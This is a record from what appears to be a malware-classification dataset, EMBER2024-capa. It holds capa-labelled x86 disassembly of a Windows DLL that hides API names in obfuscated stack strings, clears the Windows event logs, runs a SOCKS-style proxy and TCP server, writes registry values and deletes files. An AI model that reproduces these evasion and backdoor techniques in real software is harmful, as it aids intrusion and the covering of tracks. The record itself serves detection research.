joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005d90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x16c
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x2d], cl
mov byte [esp + 0x32], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x24], cl
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi + 0x1c]
mov ebx, eax
mov eax, ecx
sub eax, 2
je 0x10005e53
sub eax, 2
je 0x10005e4c
sub eax, 2
je 0x10005e45
mov esi, ecx
jmp 0x10005e58
mov esi, 5
jmp 0x10005e58
mov esi, 3
jmp 0x10005e58
mov esi, 1
lea edx, [esp + 0x3c]
lea ebp, [edi + 0x20]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov byte [esp + 0x10], 0x70
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
je 0x10005ec5
cmp esi, 1
jne 0x10005e9b
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], ecx
mov esi, 3
jmp 0x10005eda
cmp esi, 3
jne 0x10005eb1
xor edx, edx
mov esi, 2
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], edx
jmp 0x10005eda
cmp esi, 5
jne 0x10005ed6
mov dword [esp + 0x15], 0xffffffff
mov esi, 3
jmp 0x10005eda
xor ecx, ecx
mov esi, 2
mov dword [esp + 0x11], ecx
mov dword [esp + 0x15], ecx
jmp 0x10005eda
mov esi, dword [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push esi
push 0
push 2
push 0x40000000
push ebp
call ebx
cmp eax, 0xffffffff
jne 0x10005f13
xor eax, eax
mov dword [edi + 0x128], eax
mov dword [edi + 0x12c], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, edi
call fcn.1000a550
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
Function at 0x10005f40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x54
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x38]
lea ecx, [esp + 0x44]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x4c], 0x6b
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x72
mov byte [esp + 0x4f], 0x6e
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x6c
mov byte [esp + 0x52], 0x33
mov byte [esp + 0x53], 0x32
mov byte [esp + 0x54], 0x2e
mov byte [esp + 0x55], 0x64
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x6c
mov byte [esp + 0x58], 0
mov byte [esp + 0x40], 0x43
mov byte [esp + 0x41], 0x72
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x46
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], 0x6c
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x41
mov byte [esp + 0x4b], 0
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x2c]
lea eax, [esp + 0x54]
push edx
push eax
mov byte [esp + 0x5c], 0x6b
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5e], 0x72
mov byte [esp + 0x5f], 0x6e
mov byte [esp + 0x60], bl
mov byte [esp + 0x61], 0x6c
mov byte [esp + 0x62], 0x33
mov byte [esp + 0x63], 0x32
mov byte [esp + 0x64], 0x2e
mov byte [esp + 0x65], 0x64
mov byte [esp + 0x66], 0x6c
mov byte [esp + 0x67], 0x6c
mov byte [esp + 0x68], 0
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x72
mov byte [esp + 0x36], 0x69
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x46
mov byte [esp + 0x3a], 0x69
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0
call ebp
push eax
call esi
mov ebx, dword [esp + 0x68]
push 0
push 0x80
push 3
mov ecx, dword [ebx]
mov ebp, dword [ebx + 4]
push 0
mov dword [esp + 0x28], eax
mov dword [esp + 0x20], ecx
push 2
lea edx, [edi + 0x20]
push 0x40000000
push edx
call dword [esp + 0x30]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x6c]
lea ecx, [esp + 0x1c]
push 0
add edx, 0xfffffff8
push ecx
add ebx, 8
push edx
push ebx
push esi
call dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x10]
add ecx, ebp
lea edx, [esp + 0x20]
mov dword [esp + 0x25], ecx
push 9
push edx
mov ecx, edi
mov byte [esp + 0x28], 0x70
mov dword [esp + 0x29], eax
call fcn.1000a550
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret 8
Function at 0x10006a60
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10006aba
push esi
mov esi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
push esi
push 2
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop esi
jne 0x10006aba
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x10006ac0
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10006b12
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10006b12
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
ret

Function at 0x10007080
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x100070d0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x100070b7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x100072b0
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x1001dd20
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x1001e040]
push 0x1001dd20
inc ecx
mov dword [0x1001e040], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.10007180
add esp, 8
cmp eax, esi
je 0x1000744f
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x10007396
cmp eax, 2
je 0x10007396
cmp eax, 3
je 0x10007396
cmp eax, 4
jne 0x1000740f
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.100070f0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.10007940
add esp, 0x1c
test eax, eax
je 0x1000744f
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x1000740f
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.10007220
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x1000744f
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.100070f0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.10007940
add esp, 0x1c
test eax, eax
je 0x1000744f
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000744f
cmp dword [ebx], 0
je 0x1000744f
mov eax, dword [ebx + 4]
test eax, eax
je 0x1000744f
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x100083d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000743f
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x10007460
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10007490
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x100074aa
cmp al, 2
je 0x100074aa
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x1001dd40
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100074ed
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x10007643
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10007637
test eax, eax
je 0x10007637
cmp byte [ebp], 1
je 0x1000754d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10007576
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10007576
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x100075a5
cmp ecx, 0x100
jg 0x100075a5
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x1001dd40
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x100075d2
test cl, cl
je 0x100075ce
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x100075d2
add eax, 2
add esi, 2
test cl, cl
jne 0x100075ae
xor eax, eax
jmp 0x100075d7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10007619
lea esi, [esp + 0x110]
mov eax, 0x1001de40
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000760b
test cl, cl
je 0x10007607
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000760b
add eax, 2
add esi, 2
test cl, cl
jne 0x100075e7
xor eax, eax
jmp 0x10007610
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10007619
mov byte [ebp + 1], al
jmp 0x1000761d
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007643
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x10007660
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x1001d860
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x10007714
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x1000771c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x1000770a
test edx, edx
jle 0x100076d4
mov edi, 0x1001b408
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x100076a6
add dword [esp + 0x10], 4
jmp 0x1000768a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x10007730
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10007740
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x10007940
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x10007997
call fcn.10007730
add esp, 4
test eax, eax
je 0x100079f2
push esi
call fcn.10007730
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x100079f2
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100079fa
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x10007a10
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.10007460
add esp, 0xc
test eax, eax
je 0x10007ab7
cmp eax, 4
jne 0x10007a58
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.10007750
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10007ab7
test eax, eax
je 0x10007ab7
cmp byte [esi], 5
jne 0x10007ab7
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10007a84
cmp cl, 3
jne 0x10007ab7
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.10007750
add esp, 0x14
test eax, eax
je 0x10007ab7
mov al, byte [esi + 1]
cmp al, 1
je 0x10007aae
cmp al, 3
jne 0x10007ab7
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10007ac0
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10007b0e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10007b2b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.10007660
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10007e80
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10007f6f
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10007f6f
mov dx, word [0x1001dd38]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10007f6f
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10007f1c
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, dword [sym.imp.MSVCRT.dll_malloc]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call ebp
add esp, 4
test eax, eax
je 0x10007f28
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x10007b80
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x10007f66
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007f28
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10007f28
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x10008120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x1000815b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x10008162
sub esi, eax
add edi, eax
test esi, esi
jg 0x10008136
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret

Function at 0x100087f0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.1000a430
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esi], 0x1001743c
je 0x10008819
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x1000882b
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x1000883b
push eax
push 0x1001e048
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x10006930
push 0
mov dword [0x1001b468], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18
Function at 0x10008eb0
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret